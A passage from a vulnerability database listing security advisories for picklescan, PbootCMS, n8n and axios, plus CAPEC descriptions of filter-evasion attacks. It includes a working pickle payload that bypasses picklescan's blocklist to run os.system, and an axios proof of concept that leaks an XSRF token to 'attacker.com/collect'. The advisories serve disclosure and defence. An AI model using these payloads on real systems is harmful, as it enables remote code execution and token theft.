"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin"
}
GHSA-VVPJ-8CMC-GX39
Vulnerability from github – Published: 2026-03-03 20:04 – Updated: 2026-06-18 14:45Summary
pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.
This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.
Severity
Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
How It Works
A pickle file uses two chained REDUCE calls:
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
picklescan's opcode scanner sees:
- STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
- The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner
The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.
Decompiled Pickle (what the data actually does)
from pkgutil import resolve_name
_var0 = resolve_name('os:system') # Returns the actual os.system function
_var1 = _var0('malicious_command') # Calls os.system('malicious_command')
result = _var1
Confirmed Bypass Targets
Every entry in picklescan's blocklist can be reached via resolve_name:
| Chain | Resolves To | Confirmed RCE | picklescan Result |
|---|---|---|---|
resolve_name("os:system") |
os.system |
YES | CLEAN |
resolve_name("builtins:exec") |
builtins.exec |
YES | CLEAN |
resolve_name("builtins:eval") |
builtins.eval |
YES | CLEAN |
resolve_name("subprocess:getoutput") |
subprocess.getoutput |
YES | CLEAN |
resolve_name("subprocess:getstatusoutput") |
subprocess.getstatusoutput |
YES | CLEAN |
resolve_name("subprocess:call") |
subprocess.call |
YES (shell=True needed) | CLEAN |
resolve_name("subprocess:check_call") |
subprocess.check_call |
YES (shell=True needed) | CLEAN |
resolve_name("subprocess:check_output") |
subprocess.check_output |
YES (shell=True needed) | CLEAN |
resolve_name("posix:system") |
posix.system |
YES | CLEAN |
resolve_name("cProfile:run") |
cProfile.run |
YES | CLEAN |
resolve_name("profile:run") |
profile.run |
YES | CLEAN |
resolve_name("pty:spawn") |
pty.spawn |
YES | CLEAN |
Total: 11+ confirmed RCE chains, all reporting CLEAN.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# resolve_name("os:system")("id")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL
+ sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system")
+ sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id")
+ b"." # STOP
)
# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs os.system("id") → RCE
pickle.loads(payload)
Why pkgutil Is Not Blocked
picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.
Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.
Impact
This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.
This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution
Suggested Fix
-
Immediate: Add
pkgutilto_unsafe_globals:python "pkgutil": {"resolve_name"}, -
Also block similar resolution functions:
python "importlib": "*", "importlib.util": "*", -
Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking
pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider: - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching
"module:function") - Treating unknown globals as dangerous by default
- Switching to an allowlist model
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3490"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T20:04:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027) # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027) # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\" # STACK_GLOBAL\n + sbu(\"os:system\") + b\"\\x85\" + b\"R\" # REDUCE: resolve_name(\"os:system\")\n + sbu(\"id\") + b\"\\x85\" + b\"R\" # REDUCE: os.system(\"id\")\n + b\".\" # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n ```python\n \"pkgutil\": {\"resolve_name\"},\n ```\n\n2. **Also block similar resolution functions:**\n ```python\n \"importlib\": \"*\",\n \"importlib.util\": \"*\",\n ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n - Treating unknown globals as dangerous by default\n - Switching to an allowlist model",
"id": "GHSA-vvpj-8cmc-gx39",
"modified": "2026-06-18T14:45:31Z",
"published": "2026-03-03T20:04:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}
GHSA-W42H-9GVX-CGMJ
Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.
{
"affected": [],
"aliases": [
"CVE-2026-4509"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T06:16:14Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.",
"id": "GHSA-w42h-9gvx-cgmj",
"modified": "2026-03-21T06:30:25Z",
"published": "2026-03-21T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4509"
},
{
"type": "WEB",
"url": "https://github.com/zzj-create/cvetest/blob/main/VULN-04_DANGEROUS_FILE_UPLOAD_REPORT_EN.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.352075"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.352075"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.773901"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W96V-GF22-CRWP
Vulnerability from github – Published: 2026-01-13 14:57 – Updated: 2026-01-13 21:40Impact
The Webhook node’s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring.
This issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary.
Patches
This issue has been patched in version 2.2.0.
Users are advised to upgrade to v2.2.0 or later, where IP whitelist validation uses strict IP comparison logic rather than partial string matching.
Workarounds
Users unable to upgrade immediately should avoid relying solely on IP whitelisting for webhook security. Recommended mitigations include: - Adding authentication mechanisms such as shared secrets, HMAC signatures, or API keys. - Avoiding short or prefix-based whitelist entries. - Enforcing IP filtering at the network layer (for example, via reverse proxies or firewalls).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "1.36.0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68949"
],
"database_specific": {
"cwe_ids": [
"CWE-134",
"CWE-183",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T14:57:12Z",
"nvd_published_at": "2026-01-13T19:16:15Z",
"severity": "MODERATE"
},
"details": "## Impact\nThe Webhook node\u2019s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring.\n\nThis issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary.\n\n## Patches\nThis issue has been patched in version 2.2.0.\n\nUsers are advised to upgrade to v2.2.0 or later, where IP whitelist validation uses strict IP comparison logic rather than partial string matching.\n\n## Workarounds\nUsers unable to upgrade immediately should avoid relying solely on IP whitelisting for webhook security. Recommended mitigations include:\n- Adding authentication mechanisms such as shared secrets, HMAC signatures, or API keys.\n- Avoiding short or prefix-based whitelist entries.\n- Enforcing IP filtering at the network layer (for example, via reverse proxies or firewalls).",
"id": "GHSA-w96v-gf22-crwp",
"modified": "2026-01-13T21:40:42Z",
"published": "2026-01-13T14:57:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-w96v-gf22-crwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68949"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/issues/23399"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/pull/23399"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/commit/11f8597d4ad69ea3b58941573997fdbc4de1fec5"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "n8n: Webhook Node IP Whitelist Bypass via Partial String Matching"
}
GHSA-XX6V-RP6X-Q39C
Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Designed behavior:
- true → always send token (explicit cross-origin opt-in)
- false → never send token
- undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
- All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- Universal Scope: A single
Object.prototype.withXSRFToken = 1affects every axios request in the application - Misconfiguration Risk: Developer writing
withXSRFToken: "false"(string) instead offalse(boolean) triggers the same issue without PP
Limitations:
- Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Resources
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42042"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:25:22Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n// ^^^^^^^^^^^^^^^^\n// When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n// isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value Sends Token Cross-Origin Expected\ntrue (boolean) YES Yes (opt-in)\nfalse (boolean) No No\nundefined (default) No No\n1 (number) YES \u2190 BUG No\n\"false\" (string) YES \u2190 BUG No\n{} (object) YES \u2190 BUG No\n[] (array) YES \u2190 BUG No\n\nPrototype pollution:\n Object.prototype.withXSRFToken = 1\n config.withXSRFToken = 1 \u2192 leaks=true\n isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-xx6v-rp6x-q39c",
"modified": "2026-05-05T00:25:22Z",
"published": "2026-05-05T00:25:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}
No mitigation information available for this CWE.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.